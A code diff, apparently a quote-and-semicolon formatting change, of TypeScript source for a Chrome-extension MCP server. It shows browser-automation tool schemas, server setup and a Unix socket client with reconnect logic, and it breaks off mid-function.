description: `Use a mouse and keyboard to interact with a web browser, and take screenshots. If you don't have a valid tab ID, use tabs_context_mcp first to get available tabs.\n* Whenever you intend to click on an element like an icon, you should consult a screenshot to determine the coordinates of the element before moving the cursor.\n* If you tried clicking on a program or link but it failed to load, even after waiting, try adjusting your click location so that the tip of the cursor visually falls on the element that you want to click.\n* Make sure to click any buttons, links, icons, etc with the cursor tip in the center of the element. Don't click boxes on their edges unless asked.`,
inputSchema: {
type: "object",
type: 'object',
properties: {
action: {
type: "string",
type: 'string',
enum: [
"left_click",
"right_click",
"type",
"screenshot",
"wait",
"scroll",
"key",
"left_click_drag",
"double_click",
"triple_click",
"zoom",
"scroll_to",
"hover",
'left_click',
'right_click',
'type',
'screenshot',
'wait',
'scroll',
'key',
'left_click_drag',
'double_click',
'triple_click',
'zoom',
'scroll_to',
'hover',
],
description:
"The action to perform:\n* `left_click`: Click the left mouse button at the specified coordinates.\n* `right_click`: Click the right mouse button at the specified coordinates to open context menus.\n* `double_click`: Double-click the left mouse button at the specified coordinates.\n* `triple_click`: Triple-click the left mouse button at the specified coordinates.\n* `type`: Type a string of text.\n* `screenshot`: Take a screenshot of the screen.\n* `wait`: Wait for a specified number of seconds.\n* `scroll`: Scroll up, down, left, or right at the specified coordinates.\n* `key`: Press a specific keyboard key.\n* `left_click_drag`: Drag from start_coordinate to coordinate.\n* `zoom`: Take a screenshot of a specific region for closer inspection.\n* `scroll_to`: Scroll an element into view using its element reference ID from read_page or find tools.\n* `hover`: Move the mouse cursor to the specified coordinates or element without clicking. Useful for revealing tooltips, dropdown menus, or triggering hover states.",
'The action to perform:\n* `left_click`: Click the left mouse button at the specified coordinates.\n* `right_click`: Click the right mouse button at the specified coordinates to open context menus.\n* `double_click`: Double-click the left mouse button at the specified coordinates.\n* `triple_click`: Triple-click the left mouse button at the specified coordinates.\n* `type`: Type a string of text.\n* `screenshot`: Take a screenshot of the screen.\n* `wait`: Wait for a specified number of seconds.\n* `scroll`: Scroll up, down, left, or right at the specified coordinates.\n* `key`: Press a specific keyboard key.\n* `left_click_drag`: Drag from start_coordinate to coordinate.\n* `zoom`: Take a screenshot of a specific region for closer inspection.\n* `scroll_to`: Scroll an element into view using its element reference ID from read_page or find tools.\n* `hover`: Move the mouse cursor to the specified coordinates or element without clicking. Useful for revealing tooltips, dropdown menus, or triggering hover states.',
},
coordinate: {
type: "array",
items: { type: "number" },
type: 'array',
items: { type: 'number' },
minItems: 2,
maxItems: 2,
description:
"(x, y): The x (pixels from the left edge) and y (pixels from the top edge) coordinates. Required for `left_click`, `right_click`, `double_click`, `triple_click`, and `scroll`. For `left_click_drag`, this is the end position.",
'(x, y): The x (pixels from the left edge) and y (pixels from the top edge) coordinates. Required for `left_click`, `right_click`, `double_click`, `triple_click`, and `scroll`. For `left_click_drag`, this is the end position.',
},
text: {
type: "string",
type: 'string',
description:
'The text to type (for `type` action) or the key(s) to press (for `key` action). For `key` action: Provide space-separated keys (e.g., "Backspace Backspace Delete"). Supports keyboard shortcuts using the platform\'s modifier key (use "cmd" on Mac, "ctrl" on Windows/Linux, e.g., "cmd+a" or "ctrl+a" for select all).',
},
duration: {
type: "number",
type: 'number',
minimum: 0,
maximum: 30,
description:
"The number of seconds to wait. Required for `wait`. Maximum 30 seconds.",
'The number of seconds to wait. Required for `wait`. Maximum 30 seconds.',
},
scroll_direction: {
type: "string",
enum: ["up", "down", "left", "right"],
description: "The direction to scroll. Required for `scroll`.",
type: 'string',
enum: ['up', 'down', 'left', 'right'],
description: 'The direction to scroll. Required for `scroll`.',
},
scroll_amount: {
type: "number",
type: 'number',
minimum: 1,
maximum: 10,
description:
"The number of scroll wheel ticks. Optional for `scroll`, defaults to 3.",
'The number of scroll wheel ticks. Optional for `scroll`, defaults to 3.',
},
start_coordinate: {
type: "array",
items: { type: "number" },
type: 'array',
items: { type: 'number' },
minItems: 2,
maxItems: 2,
description:
"(x, y): The starting coordinates for `left_click_drag`.",
'(x, y): The starting coordinates for `left_click_drag`.',
},
region: {
type: "array",
items: { type: "number" },
type: 'array',
items: { type: 'number' },
minItems: 4,
maxItems: 4,
description:
"(x0, y0, x1, y1): The rectangular region to capture for `zoom`. Coordinates define a rectangle from top-left (x0, y0) to bottom-right (x1, y1) in pixels from the viewport origin. Required for `zoom` action. Useful for inspecting small UI elements like icons, buttons, or text.",
'(x0, y0, x1, y1): The rectangular region to capture for `zoom`. Coordinates define a rectangle from top-left (x0, y0) to bottom-right (x1, y1) in pixels from the viewport origin. Required for `zoom` action. Useful for inspecting small UI elements like icons, buttons, or text.',
},
repeat: {
type: "number",
type: 'number',
minimum: 1,
maximum: 100,
description:
"Number of times to repeat the key sequence. Only applicable for `key` action. Must be a positive integer between 1 and 100. Default is 1. Useful for navigation tasks like pressing arrow keys multiple times.",
'Number of times to repeat the key sequence. Only applicable for `key` action. Must be a positive integer between 1 and 100. Default is 1. Useful for navigation tasks like pressing arrow keys multiple times.',
},
ref: {
type: "string",
type: 'string',
description:
'Element reference ID from read_page or find tools (e.g., "ref_1", "ref_2"). Required for `scroll_to` action. Can be used as alternative to `coordinate` for click actions.',
},
modifiers: {
type: "string",
type: 'string',
description:
'Modifier keys for click actions. Supports: "ctrl", "shift", "alt", "cmd" (or "meta"), "win" (or "windows"). Can be combined with "+" (e.g., "ctrl+shift", "cmd+alt"). Optional.',
},
tabId: {
type: "number",
type: 'number',
description:
"Tab ID to execute the action on. Must be a tab in the current group. Use tabs_context_mcp first if you don't have a valid tab ID.",
},
},
required: ["action", "tabId"],
required: ['action', 'tabId'],
},
},
{
name: "navigate",
name: 'navigate',
description:
"Navigate to a URL, or go forward/back in browser history. If you don't have a valid tab ID, use tabs_context_mcp first to get available tabs.",
inputSchema: {
type: "object",
type: 'object',
properties: {
url: {
type: "string",
type: 'string',
description:
'The URL to navigate to. Can be provided with or without protocol (defaults to https://). Use "forward" to go forward in history or "back" to go back in history.',
},
tabId: {
type: "number",
type: 'number',
description:
"Tab ID to navigate. Must be a tab in the current group. Use tabs_context_mcp first if you don't have a valid tab ID.",
},
},
required: ["url", "tabId"],
required: ['url', 'tabId'],
},
},
{
name: "resize_window",
name: 'resize_window',
description:
"Resize the current browser window to specified dimensions. Useful for testing responsive designs or setting up specific screen sizes. If you don't have a valid tab ID, use tabs_context_mcp first to get available tabs.",
inputSchema: {
type: "object",
type: 'object',
properties: {
width: {
type: "number",
description: "Target window width in pixels",
type: 'number',
description: 'Target window width in pixels',
},
height: {
type: "number",
description: "Target window height in pixels",
type: 'number',
description: 'Target window height in pixels',
},
tabId: {
type: "number",
type: 'number',
description:
"Tab ID to get the window for. Must be a tab in the current group. Use tabs_context_mcp first if you don't have a valid tab ID.",
},
},
required: ["width", "height", "tabId"],
required: ['width', 'height', 'tabId'],
},
},
{
name: "gif_creator",
name: 'gif_creator',
description:
"Manage GIF recording and export for browser automation sessions. Control when to start/stop recording browser actions (clicks, scrolls, navigation), then export as an animated GIF with visual overlays (click indicators, action labels, progress bar, watermark). All operations are scoped to the tab's group. When starting recording, take a screenshot immediately after to capture the initial state as the first frame. When stopping recording, take a screenshot immediately before to capture the final state as the last frame. For export, either provide 'coordinate' to drag/drop upload to a page element, or set 'download: true' to download the GIF.",
inputSchema: {
type: "object",
type: 'object',
properties: {
action: {
type: "string",
enum: ["start_recording", "stop_recording", "export", "clear"],
type: 'string',
enum: ['start_recording', 'stop_recording', 'export', 'clear'],
description:
"Action to perform: 'start_recording' (begin capturing), 'stop_recording' (stop capturing but keep frames), 'export' (generate and export GIF), 'clear' (discard frames)",
},
tabId: {
type: "number",
type: 'number',
description:
"Tab ID to identify which tab group this operation applies to",
'Tab ID to identify which tab group this operation applies to',
},
download: {
type: "boolean",
type: 'boolean',
description:
"Always set this to true for the 'export' action only. This causes the gif to be downloaded in the browser.",
},
filename: {
type: "string",
type: 'string',
description:
"Optional filename for exported GIF (default: 'recording-[timestamp].gif'). For 'export' action only.",
},
options: {
type: "object",
type: 'object',
description:
"Optional GIF enhancement options for 'export' action. Properties: showClickIndicators (bool), showDragPaths (bool), showActionLabels (bool), showProgressBar (bool), showWatermark (bool), quality (number 1-30). All default to true except quality (default: 10).",
properties: {
showClickIndicators: {
type: "boolean",
type: 'boolean',
description:
"Show orange circles at click locations (default: true)",
'Show orange circles at click locations (default: true)',
},
showDragPaths: {
type: "boolean",
description: "Show red arrows for drag actions (default: true)",
type: 'boolean',
description: 'Show red arrows for drag actions (default: true)',
},
showActionLabels: {
type: "boolean",
type: 'boolean',
description:
"Show black labels describing actions (default: true)",
'Show black labels describing actions (default: true)',
},
showProgressBar: {
type: "boolean",
description: "Show orange progress bar at bottom (default: true)",
type: 'boolean',
description: 'Show orange progress bar at bottom (default: true)',
},
showWatermark: {
type: "boolean",
description: "Show Claude logo watermark (default: true)",
type: 'boolean',
description: 'Show Claude logo watermark (default: true)',
},
quality: {
type: "number",
type: 'number',
description:
"GIF compression quality, 1-30 (lower = better quality, slower encoding). Default: 10",
'GIF compression quality, 1-30 (lower = better quality, slower encoding). Default: 10',
},
},
},
},
required: ["action", "tabId"],
required: ['action', 'tabId'],
},
},
{
name: "upload_image",
name: 'upload_image',
description:
"Upload a previously captured screenshot or user-uploaded image to a file input or drag & drop target. Supports two approaches: (1) ref - for targeting specific elements, especially hidden file inputs, (2) coordinate - for drag & drop to visible locations like Google Docs. Provide either ref or coordinate, not both.",
'Upload a previously captured screenshot or user-uploaded image to a file input or drag & drop target. Supports two approaches: (1) ref - for targeting specific elements, especially hidden file inputs, (2) coordinate - for drag & drop to visible locations like Google Docs. Provide either ref or coordinate, not both.',
inputSchema: {
type: "object",
type: 'object',
properties: {
imageId: {
type: "string",
type: 'string',
description:
"ID of a previously captured screenshot (from the computer tool's screenshot action) or a user-uploaded image",
},
ref: {
type: "string",
type: 'string',
description:
'Element reference ID from read_page or find tools (e.g., "ref_1", "ref_2"). Use this for file inputs (especially hidden ones) or specific elements. Provide either ref or coordinate, not both.',
},
coordinate: {
type: "array",
type: 'array',
items: {
type: "number",
type: 'number',
},
description:
"Viewport coordinates [x, y] for drag & drop to a visible location. Use this for drag & drop targets like Google Docs. Provide either ref or coordinate, not both.",
'Viewport coordinates [x, y] for drag & drop to a visible location. Use this for drag & drop targets like Google Docs. Provide either ref or coordinate, not both.',
},
tabId: {
type: "number",
type: 'number',
description:
"Tab ID where the target element is located. This is where the image will be uploaded to.",
'Tab ID where the target element is located. This is where the image will be uploaded to.',
},
filename: {
type: "string",
type: 'string',
description:
'Optional filename for the uploaded file (default: "image.png")',
},
},
required: ["imageId", "tabId"],
required: ['imageId', 'tabId'],
},
},
{
name: "get_page_text",
name: 'get_page_text',
description:
"Extract raw text content from the page, prioritizing article content. Ideal for reading articles, blog posts, or other text-heavy pages. Returns plain text without HTML formatting. If you don't have a valid tab ID, use tabs_context_mcp first to get available tabs.",
inputSchema: {
type: "object",
type: 'object',
properties: {
tabId: {
type: "number",
type: 'number',
description:
"Tab ID to extract text from. Must be a tab in the current group. Use tabs_context_mcp first if you don't have a valid tab ID.",
},
},
required: ["tabId"],
required: ['tabId'],
},
},
{
name: "tabs_context_mcp",
title: "Tabs Context",
name: 'tabs_context_mcp',
title: 'Tabs Context',
description:
"Get context information about the current MCP tab group. Returns all tab IDs inside the group if it exists. CRITICAL: You must get the context at least once before using other browser automation tools so you know what tabs exist. Each new conversation should create its own new tab (using tabs_create_mcp) rather than reusing existing tabs, unless the user explicitly asks to use an existing tab.",
'Get context information about the current MCP tab group. Returns all tab IDs inside the group if it exists. CRITICAL: You must get the context at least once before using other browser automation tools so you know what tabs exist. Each new conversation should create its own new tab (using tabs_create_mcp) rather than reusing existing tabs, unless the user explicitly asks to use an existing tab.',
inputSchema: {
type: "object",
type: 'object',
properties: {
createIfEmpty: {
type: "boolean",
type: 'boolean',
description:
"Creates a new MCP tab group if none exists, creates a new Window with a new tab group containing an empty tab (which can be used for this conversation). If a MCP tab group already exists, this parameter has no effect.",
'Creates a new MCP tab group if none exists, creates a new Window with a new tab group containing an empty tab (which can be used for this conversation). If a MCP tab group already exists, this parameter has no effect.',
},
},
required: [],
},
},
{
name: "tabs_create_mcp",
title: "Tabs Create",
name: 'tabs_create_mcp',
title: 'Tabs Create',
description:
"Creates a new empty tab in the MCP tab group. CRITICAL: You must get the context using tabs_context_mcp at least once before using other browser automation tools so you know what tabs exist.",
'Creates a new empty tab in the MCP tab group. CRITICAL: You must get the context using tabs_context_mcp at least once before using other browser automation tools so you know what tabs exist.',
inputSchema: {
type: "object",
type: 'object',
properties: {},
required: [],
},
},
{
name: "update_plan",
name: 'update_plan',
description:
"Present a plan to the user for approval before taking actions. The user will see the domains you intend to visit and your approach. Once approved, you can proceed with actions on the approved domains without additional permission prompts.",
'Present a plan to the user for approval before taking actions. The user will see the domains you intend to visit and your approach. Once approved, you can proceed with actions on the approved domains without additional permission prompts.',
inputSchema: {
type: "object" as const,
type: 'object' as const,
properties: {
domains: {
type: "array" as const,
items: { type: "string" as const },
type: 'array' as const,
items: { type: 'string' as const },
description:
"List of domains you will visit (e.g., ['github.com', 'stackoverflow.com']). These domains will be approved for the session when the user accepts the plan.",
},
approach: {
type: "array" as const,
items: { type: "string" as const },
type: 'array' as const,
items: { type: 'string' as const },
description:
"High-level description of what you will do. Focus on outcomes and key actions, not implementation details. Be concise - aim for 3-7 items.",
'High-level description of what you will do. Focus on outcomes and key actions, not implementation details. Be concise - aim for 3-7 items.',
},
},
required: ["domains", "approach"],
required: ['domains', 'approach'],
},
},
{
name: "read_console_messages",
name: 'read_console_messages',
description:
"Read browser console messages (console.log, console.error, console.warn, etc.) from a specific tab. Useful for debugging JavaScript errors, viewing application logs, or understanding what's happening in the browser console. Returns console messages from the current domain only. If you don't have a valid tab ID, use tabs_context_mcp first to get available tabs. IMPORTANT: Always provide a pattern to filter messages - without a pattern, you may get too many irrelevant messages.",
inputSchema: {
type: "object",
type: 'object',
properties: {
tabId: {
type: "number",
type: 'number',
description:
"Tab ID to read console messages from. Must be a tab in the current group. Use tabs_context_mcp first if you don't have a valid tab ID.",
},
onlyErrors: {
type: "boolean",
type: 'boolean',
description:
"If true, only return error and exception messages. Default is false (return all message types).",
'If true, only return error and exception messages. Default is false (return all message types).',
},
clear: {
type: "boolean",
type: 'boolean',
description:
"If true, clear the console messages after reading to avoid duplicates on subsequent calls. Default is false.",
'If true, clear the console messages after reading to avoid duplicates on subsequent calls. Default is false.',
},
pattern: {
type: "string",
type: 'string',
description:
"Regex pattern to filter console messages. Only messages matching this pattern will be returned (e.g., 'error|warning' to find errors and warnings, 'MyApp' to filter app-specific logs). You should always provide a pattern to avoid getting too many irrelevant messages.",
},
limit: {
type: "number",
type: 'number',
description:
"Maximum number of messages to return. Defaults to 100. Increase only if you need more results.",
'Maximum number of messages to return. Defaults to 100. Increase only if you need more results.',
},
},
required: ["tabId"],
required: ['tabId'],
},
},
{
name: "read_network_requests",
name: 'read_network_requests',
description:
"Read HTTP network requests (XHR, Fetch, documents, images, etc.) from a specific tab. Useful for debugging API calls, monitoring network activity, or understanding what requests a page is making. Returns all network requests made by the current page, including cross-origin requests. Requests are automatically cleared when the page navigates to a different domain. If you don't have a valid tab ID, use tabs_context_mcp first to get available tabs.",
inputSchema: {
type: "object",
type: 'object',
properties: {
tabId: {
type: "number",
type: 'number',
description:
"Tab ID to read network requests from. Must be a tab in the current group. Use tabs_context_mcp first if you don't have a valid tab ID.",
},
urlPattern: {
type: "string",
type: 'string',
description:
"Optional URL pattern to filter requests. Only requests whose URL contains this string will be returned (e.g., '/api/' to filter API calls, 'example.com' to filter by domain).",
},
clear: {
type: "boolean",
type: 'boolean',
description:
"If true, clear the network requests after reading to avoid duplicates on subsequent calls. Default is false.",
'If true, clear the network requests after reading to avoid duplicates on subsequent calls. Default is false.',
},
limit: {
type: "number",
type: 'number',
description:
"Maximum number of requests to return. Defaults to 100. Increase only if you need more results.",
'Maximum number of requests to return. Defaults to 100. Increase only if you need more results.',
},
},
required: ["tabId"],
required: ['tabId'],
},
},
{
name: "shortcuts_list",
name: 'shortcuts_list',
description:
"List all available shortcuts and workflows (shortcuts and workflows are interchangeable). Returns shortcuts with their commands, descriptions, and whether they are workflows. Use shortcuts_execute to run a shortcut or workflow.",
'List all available shortcuts and workflows (shortcuts and workflows are interchangeable). Returns shortcuts with their commands, descriptions, and whether they are workflows. Use shortcuts_execute to run a shortcut or workflow.',
inputSchema: {
type: "object",
type: 'object',
properties: {
tabId: {
type: "number",
type: 'number',
description:
"Tab ID to list shortcuts from. Must be a tab in the current group. Use tabs_context_mcp first if you don't have a valid tab ID.",
},
},
required: ["tabId"],
required: ['tabId'],
},
},
{
name: "shortcuts_execute",
name: 'shortcuts_execute',
description:
"Execute a shortcut or workflow by running it in a new sidepanel window using the current tab (shortcuts and workflows are interchangeable). Use shortcuts_list first to see available shortcuts. This starts the execution and returns immediately - it does not wait for completion.",
'Execute a shortcut or workflow by running it in a new sidepanel window using the current tab (shortcuts and workflows are interchangeable). Use shortcuts_list first to see available shortcuts. This starts the execution and returns immediately - it does not wait for completion.',
inputSchema: {
type: "object",
type: 'object',
properties: {
tabId: {
type: "number",
type: 'number',
description:
"Tab ID to execute the shortcut on. Must be a tab in the current group. Use tabs_context_mcp first if you don't have a valid tab ID.",
},
shortcutId: {
type: "string",
description: "The ID of the shortcut to execute",
type: 'string',
description: 'The ID of the shortcut to execute',
},
command: {
type: "string",
type: 'string',
description:
"The command name of the shortcut to execute (e.g., 'debug', 'summarize'). Do not include the leading slash.",
},
},
required: ["tabId"],
required: ['tabId'],
},
},
{
name: "switch_browser",
name: 'switch_browser',
description:
"Switch which Chrome browser is used for browser automation. Call this when the user wants to connect to a different Chrome browser. Broadcasts a connection request to all Chrome browsers with the extension installed — the user clicks 'Connect' in the desired browser.",
inputSchema: {
type: "object",
type: 'object',
properties: {},
required: [],
},
},
];
]

View File

@@ -1,10 +1,10 @@
export { BridgeClient, createBridgeClient } from "./bridgeClient.js";
export { BROWSER_TOOLS } from "./browserTools.js";
export { BridgeClient, createBridgeClient } from './bridgeClient.js'
export { BROWSER_TOOLS } from './browserTools.js'
export {
createChromeSocketClient,
createClaudeForChromeMcpServer,
} from "./mcpServer.js";
export { localPlatformLabel } from "./types.js";
} from './mcpServer.js'
export { localPlatformLabel } from './types.js'
export type {
BridgeConfig,
ChromeExtensionInfo,
@@ -12,4 +12,4 @@ export type {
Logger,
PermissionMode,
SocketClient,
} from "./types.js";
} from './types.js'

View File

@@ -1,16 +1,16 @@
import { Server } from "@modelcontextprotocol/sdk/server/index.js";
import type { CallToolResult } from "@modelcontextprotocol/sdk/types.js";
import { Server } from '@modelcontextprotocol/sdk/server/index.js'
import type { CallToolResult } from '@modelcontextprotocol/sdk/types.js'
import {
CallToolRequestSchema,
ListToolsRequestSchema,
} from "@modelcontextprotocol/sdk/types.js";
} from '@modelcontextprotocol/sdk/types.js'
import { createBridgeClient } from "./bridgeClient.js";
import { BROWSER_TOOLS } from "./browserTools.js";
import { createMcpSocketClient } from "./mcpSocketClient.js";
import { createMcpSocketPool } from "./mcpSocketPool.js";
import { handleToolCall } from "./toolCalls.js";
import type { ClaudeForChromeContext, SocketClient } from "./types.js";
import { createBridgeClient } from './bridgeClient.js'
import { BROWSER_TOOLS } from './browserTools.js'
import { createMcpSocketClient } from './mcpSocketClient.js'
import { createMcpSocketPool } from './mcpSocketPool.js'
import { handleToolCall } from './toolCalls.js'
import type { ClaudeForChromeContext, SocketClient } from './types.js'
/**
* Create the socket/bridge client for the Chrome extension MCP server.
@@ -24,23 +24,22 @@ export function createChromeSocketClient(
? createBridgeClient(context)
: context.getSocketPaths
? createMcpSocketPool(context)
: createMcpSocketClient(context);
: createMcpSocketClient(context)
}
export function createClaudeForChromeMcpServer(
context: ClaudeForChromeContext,
existingSocketClient?: SocketClient,
): Server {
const { serverName, logger } = context;
const { serverName, logger } = context
// Choose transport: bridge (WebSocket) > socket pool (multi-profile) > single socket.
const socketClient =
existingSocketClient ?? createChromeSocketClient(context);
const socketClient = existingSocketClient ?? createChromeSocketClient(context)
const server = new Server(
{
name: serverName,
version: "1.0.0",
version: '1.0.0',
},
{
capabilities: {
@@ -48,49 +47,49 @@ export function createClaudeForChromeMcpServer(
logging: {},
},
},
);
)
server.setRequestHandler(ListToolsRequestSchema, async () => {
if (context.isDisabled?.()) {
return { tools: [] };
return { tools: [] }
}
return {
tools: context.bridgeConfig
? BROWSER_TOOLS
: BROWSER_TOOLS.filter((t) => t.name !== "switch_browser"),
};
});
: BROWSER_TOOLS.filter(t => t.name !== 'switch_browser'),
}
})
server.setRequestHandler(
CallToolRequestSchema,
async (request): Promise<CallToolResult> => {
logger.info(`[${serverName}] Executing tool: ${request.params.name}`);
logger.info(`[${serverName}] Executing tool: ${request.params.name}`)
return handleToolCall(
context,
socketClient,
request.params.name,
request.params.arguments || {},
);
)
},
);
)
socketClient.setNotificationHandler((notification) => {
socketClient.setNotificationHandler(notification => {
logger.info(
`[${serverName}] Forwarding MCP notification: ${notification.method}`,
);
)
server
.notification({
method: notification.method,
params: notification.params,
})
.catch((error) => {
.catch(error => {
// Server may not be connected yet (e.g., during startup or after disconnect)
logger.info(
`[${serverName}] Failed to forward MCP notification: ${error.message}`,
);
});
});
)
})
})
return server;
return server
}

View File

@@ -1,327 +1,324 @@
import { promises as fsPromises } from "fs";
import { createConnection } from "net";
import type { Socket } from "net";
import { platform } from "os";
import { dirname } from "path";
import { promises as fsPromises } from 'fs'
import { createConnection } from 'net'
import type { Socket } from 'net'
import { platform } from 'os'
import { dirname } from 'path'
import type {
ClaudeForChromeContext,
PermissionMode,
PermissionOverrides,
} from "./types.js";
} from './types.js'
export class SocketConnectionError extends Error {
constructor(message: string) {
super(message);
this.name = "SocketConnectionError";
super(message)
this.name = 'SocketConnectionError'
}
}
interface ToolRequest {
method: string; // "execute_tool"
method: string // "execute_tool"
params?: {
client_id?: string; // "desktop" | "claude-code"
tool?: string;
args?: Record<string, unknown>;
};
client_id?: string // "desktop" | "claude-code"
tool?: string
args?: Record<string, unknown>
}
}
interface ToolResponse {
result?: unknown;
error?: string;
result?: unknown
error?: string
}
interface Notification {
method: string;
params?: Record<string, unknown>;
method: string
params?: Record<string, unknown>
}
type SocketMessage = ToolResponse | Notification;
type SocketMessage = ToolResponse | Notification
function isToolResponse(message: SocketMessage): message is ToolResponse {
return "result" in message || "error" in message;
return 'result' in message || 'error' in message
}
function isNotification(message: SocketMessage): message is Notification {
return "method" in message && typeof message.method === "string";
return 'method' in message && typeof message.method === 'string'
}
class McpSocketClient {
private socket: Socket | null = null;
private connected = false;
private connecting = false;
private responseCallback: ((response: ToolResponse) => void) | null = null;
private socket: Socket | null = null
private connected = false
private connecting = false
private responseCallback: ((response: ToolResponse) => void) | null = null
private notificationHandler: ((notification: Notification) => void) | null =
null;
private responseBuffer = Buffer.alloc(0);
private reconnectAttempts = 0;
private maxReconnectAttempts = 10;
private reconnectDelay = 1000;
private reconnectTimer: NodeJS.Timeout | null = null;
private context: ClaudeForChromeContext;
null
private responseBuffer = Buffer.alloc(0)
private reconnectAttempts = 0
private maxReconnectAttempts = 10
private reconnectDelay = 1000
private reconnectTimer: NodeJS.Timeout | null = null
private context: ClaudeForChromeContext
// When true, disables automatic reconnection. Used by McpSocketPool which
// manages reconnection externally by rescanning available sockets.
public disableAutoReconnect = false;
public disableAutoReconnect = false
constructor(context: ClaudeForChromeContext) {
this.context = context;
this.context = context
}
private async connect(): Promise<void> {
const { serverName, logger } = this.context;
const { serverName, logger } = this.context
if (this.connecting) {
logger.info(
`[${serverName}] Already connecting, skipping duplicate attempt`,
);
return;
)
return
}
this.closeSocket();
this.connecting = true;
this.closeSocket()
this.connecting = true
const socketPath =
this.context.getSocketPath?.() ?? this.context.socketPath;
logger.info(`[${serverName}] Attempting to connect to: ${socketPath}`);
const socketPath = this.context.getSocketPath?.() ?? this.context.socketPath
logger.info(`[${serverName}] Attempting to connect to: ${socketPath}`)
try {
await this.validateSocketSecurity(socketPath);
await this.validateSocketSecurity(socketPath)
} catch (error) {
this.connecting = false;
logger.info(`[${serverName}] Security validation failed:`, error);
this.connecting = false
logger.info(`[${serverName}] Security validation failed:`, error)
// Don't retry on security failures (wrong perms/owner) - those won't
// self-resolve. Only the error handler retries on transient errors.
return;
return
}
this.socket = createConnection(socketPath);
this.socket = createConnection(socketPath)
// Timeout the initial connection attempt - if socket file exists but native
// host is dead, the connect can hang indefinitely
const connectTimeout = setTimeout(() => {
if (!this.connected) {
logger.info(
`[${serverName}] Connection attempt timed out after 5000ms`,
);
this.closeSocket();
this.scheduleReconnect();
logger.info(`[${serverName}] Connection attempt timed out after 5000ms`)
this.closeSocket()
this.scheduleReconnect()
}
}, 5000);
}, 5000)
this.socket.on("connect", () => {
clearTimeout(connectTimeout);
this.connected = true;
this.connecting = false;
this.reconnectAttempts = 0;
logger.info(`[${serverName}] Successfully connected to bridge server`);
});
this.socket.on('connect', () => {
clearTimeout(connectTimeout)
this.connected = true
this.connecting = false
this.reconnectAttempts = 0
logger.info(`[${serverName}] Successfully connected to bridge server`)
})
this.socket.on("data", (data: Buffer) => {
this.responseBuffer = Buffer.concat([this.responseBuffer, data]);
this.socket.on('data', (data: Buffer) => {
this.responseBuffer = Buffer.concat([this.responseBuffer, data])
while (this.responseBuffer.length >= 4) {
const length = this.responseBuffer.readUInt32LE(0);
const length = this.responseBuffer.readUInt32LE(0)
if (this.responseBuffer.length < 4 + length) {
break;
break
}
const messageBytes = this.responseBuffer.slice(4, 4 + length);
this.responseBuffer = this.responseBuffer.slice(4 + length);
const messageBytes = this.responseBuffer.slice(4, 4 + length)
this.responseBuffer = this.responseBuffer.slice(4 + length)
try {
const message = JSON.parse(
messageBytes.toString("utf-8"),
) as SocketMessage;
messageBytes.toString('utf-8'),
) as SocketMessage
if (isNotification(message)) {
logger.info(
`[${serverName}] Received notification: ${message.method}`,
);
)
if (this.notificationHandler) {
this.notificationHandler(message);
this.notificationHandler(message)
}
} else if (isToolResponse(message)) {
logger.info(`[${serverName}] Received tool response: ${message}`);
this.handleResponse(message);
logger.info(`[${serverName}] Received tool response: ${message}`)
this.handleResponse(message)
} else {
logger.info(`[${serverName}] Received unknown message: ${message}`);
logger.info(`[${serverName}] Received unknown message: ${message}`)
}
} catch (error) {
logger.info(`[${serverName}] Failed to parse message:`, error);
logger.info(`[${serverName}] Failed to parse message:`, error)
}
}
});
})
this.socket.on("error", (error: Error & { code?: string }) => {
clearTimeout(connectTimeout);
logger.info(`[${serverName}] Socket error (code: ${error.code}):`, error);
this.connected = false;
this.connecting = false;
this.socket.on('error', (error: Error & { code?: string }) => {
clearTimeout(connectTimeout)
logger.info(`[${serverName}] Socket error (code: ${error.code}):`, error)
this.connected = false
this.connecting = false
if (
error.code &&
[
"ECONNREFUSED", // Native host not listening (stale socket)
"ECONNRESET", // Connection reset by peer
"EPIPE", // Broken pipe (native host died mid-write)
"ENOENT", // Socket file was deleted
"EOPNOTSUPP", // Socket file exists but is not a valid socket
"ECONNABORTED", // Connection aborted
'ECONNREFUSED', // Native host not listening (stale socket)
'ECONNRESET', // Connection reset by peer
'EPIPE', // Broken pipe (native host died mid-write)
'ENOENT', // Socket file was deleted
'EOPNOTSUPP', // Socket file exists but is not a valid socket
'ECONNABORTED', // Connection aborted
].includes(error.code)
) {
this.scheduleReconnect();
this.scheduleReconnect()
}
});
})
this.socket.on("close", () => {
clearTimeout(connectTimeout);
this.connected = false;
this.connecting = false;
this.scheduleReconnect();
});
this.socket.on('close', () => {
clearTimeout(connectTimeout)
this.connected = false
this.connecting = false
this.scheduleReconnect()
})
}
private scheduleReconnect(): void {
const { serverName, logger } = this.context;
const { serverName, logger } = this.context
if (this.disableAutoReconnect) {
return;
return
}
if (this.reconnectTimer) {
logger.info(`[${serverName}] Reconnect already scheduled, skipping`);
return;
logger.info(`[${serverName}] Reconnect already scheduled, skipping`)
return
}
this.reconnectAttempts++;
this.reconnectAttempts++
// Give up after extended polling (~50 min). A new ensureConnected() call
// from a tool request will restart the cycle if needed.
const maxTotalAttempts = 100;
const maxTotalAttempts = 100
if (this.reconnectAttempts > maxTotalAttempts) {
logger.info(
`[${serverName}] Giving up after ${maxTotalAttempts} attempts. Will retry on next tool call.`,
);
this.reconnectAttempts = 0;
return;
)
this.reconnectAttempts = 0
return
}
// Use aggressive backoff for first 10 attempts, then slow poll every 30s.
const delay = Math.min(
this.reconnectDelay * Math.pow(1.5, this.reconnectAttempts - 1),
this.reconnectDelay * 1.5 ** (this.reconnectAttempts - 1),
30000,
);
)
if (this.reconnectAttempts <= this.maxReconnectAttempts) {
logger.info(
`[${serverName}] Reconnecting in ${Math.round(delay)}ms (attempt ${
this.reconnectAttempts
})`,
);
)
} else if (this.reconnectAttempts % 10 === 0) {
// Log every 10th slow-poll attempt to avoid log spam
logger.info(
`[${serverName}] Still polling for native host (attempt ${this.reconnectAttempts})`,
);
)
}
this.reconnectTimer = setTimeout(() => {
this.reconnectTimer = null;
void this.connect();
}, delay);
this.reconnectTimer = null
void this.connect()
}, delay)
}
private handleResponse(response: ToolResponse): void {
if (this.responseCallback) {
const callback = this.responseCallback;
this.responseCallback = null;
callback(response);
const callback = this.responseCallback
this.responseCallback = null
callback(response)
}
}
public setNotificationHandler(
handler: (notification: Notification) => void,
): void {
this.notificationHandler = handler;
this.notificationHandler = handler
}
public async ensureConnected(): Promise<boolean> {
const { serverName } = this.context;
const { serverName } = this.context
if (this.connected && this.socket) {
return true;
return true
}
if (!this.socket && !this.connecting) {
await this.connect();
await this.connect()
}
// Wait for connection with timeout
return new Promise((resolve, reject) => {
let checkTimeoutId: NodeJS.Timeout | null = null;
